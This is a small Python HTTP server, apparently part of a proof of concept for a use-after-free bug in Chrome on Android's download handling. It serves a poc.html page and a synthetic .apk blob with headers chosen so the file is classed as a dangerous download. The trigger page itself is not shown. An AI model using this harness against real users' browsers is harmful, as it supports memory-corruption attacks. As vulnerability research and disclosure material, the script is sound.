#!/usr/bin/env python3
"""HTTP server for the Android DownloadItemImpl UAF POC.

Serves poc.html and a synthetic .apk download with the headers needed for
Chrome on Android to classify it as DOWNLOAD_DANGER_TYPE_DANGEROUS_FILE
during target determination.

Usage:
    python3 server.py            # listens on 0.0.0.0:8080
"""

import http.server
import socketserver

PORT = 8080


class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):  # noqa: N802 - http.server naming
        if self.path.startswith("/payload.apk"):
            body = b"PK\x03\x04" + b"A" * 4096  # minimal zip-ish blob
            self.send_response(200)
            self.send_header(
                "Content-Type", "application/vnd.android.package-archive"
            )
            self.send_header(
                "Content-Disposition", 'attachment; filename="x.apk"'
            )
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        return super().do_GET()


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("0.0.0.0", PORT), Handler) as httpd:
        print(f"serving on 0.0.0.0:{PORT}")
        httpd.serve_forever()